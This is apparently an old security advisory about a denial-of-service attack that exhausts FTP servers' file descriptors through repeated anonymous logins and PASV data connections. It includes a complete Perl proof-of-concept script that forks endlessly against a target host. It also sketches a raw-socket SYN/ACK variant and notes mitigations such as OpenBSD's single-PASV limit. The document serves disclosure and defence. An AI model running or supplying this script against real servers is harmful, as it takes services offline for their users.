COMMAND
ftp(d)
SYSTEMS AFFECTED
So far - everyone
PROBLEM
Darren Reed found following. Who has more free file descriptors &
network ports, you or the ftp server? ftpd's which limit
connections to 1 per user@host or similar may have some defense
against this, or if they don't support multiple data connections
open at the same time. Reed suspects "many" is the number of
ftpd's which are vulnderable to this attack. But basically, if
the other end has, on average, maximum fd limit at 63, allows 50
connections, that's 3000 open fd's. Not sure how many ftpd's are
setup with that many open files as a part of the sytem, but not
many, one may suspect.
No apologies for using perl(5), Darren wanted a quick prototype.
It's not perfect but then he did't want to spend too much time on
this.
#!/usr/bin/perl
$DOS_HOST="localhost";
use IO::Socket;
$pid = $$;
$num = 0;
while (1) {
while (fork) {
$sock = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => $DOS_HOST,
PeerPort => "ftp(21)",
);
if (!$sock) {
print "connect failed!\n";
waitpid -1,0;
}
while (<$sock>) {
print;
print $sock "USER anonymous\r\n" if (/^220 .*/);
print $sock "PASS root@\r\n" if (/^331 .*/);
print $sock "PASV\r\n" if (/^230 .*/);
if (/^227 .*/) {
$remote = $_;
$remote =~ s/^.* [^\d,]*(\d[\d,]+)[^\d,]*$/$1/;
@bits = split(/,/, $remote);
if ($#bits eq 5) {
$remport = $bits[4] * 256 + $bits[5];
$#bits = 3;
$remip = join('.', @bits);
$foo[$num++] = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => $remip,
PeerPort => "($remport)");
}
print $sock "PASV\r\n";
}
last if (/^530 .*/);
}
waitpid -1,0;
}
sleep(5);
}
Using raw sockets it's possible to simulate a lot of
descriptors/open ports. You just needs to drop outgoing RST in
order to implement your ftpd-dos-oriented TCP/IP micro-stack with
a minimal memory requirement. In a word: the attacker has more
free file descriptors & network ports every times the exploit
just do a simple operation such USER/PASS authentication. This
isn't true only for this attack but for many others and results
in the ability to perform this kind of DoS against a very big
server using little resources.
All the malicious user needs to do is send lots of hand crafted
SYNs and ACKs without involving the local OS in any way. The
remote server tries to handle thousands of very real connections
which all need to timeout before the connection is closed and the
resources are freed. A PalmPilot could disable an entire server
farm this way. Current operating systems aren't very well equiped
to handle this. Programs are forced to accept() a connection
and have no way to prevent the kernel from ACKing the connection
and allocating resources. The free unixes these days mostly come
with packet filtering available by default, these might be best
off. One could imagine a 'libfilter' which would easily allow
daemons with the right permissions/capabilities to instruct the
kernel to not accept connections anymore from a certain host.
The OpenBSD ftpd has never permitted more than 1 connection at a
time in PASV mode, thus this particular denial of service attack
does not work.
SOLUTION
There are ways to protect servers against such an attack with
dedicated hardware but such measures are not widely implemented
today and may also 'protect' indiscriminately against normal
traffic in case of false positives. A daemon can be more specific
in its measures.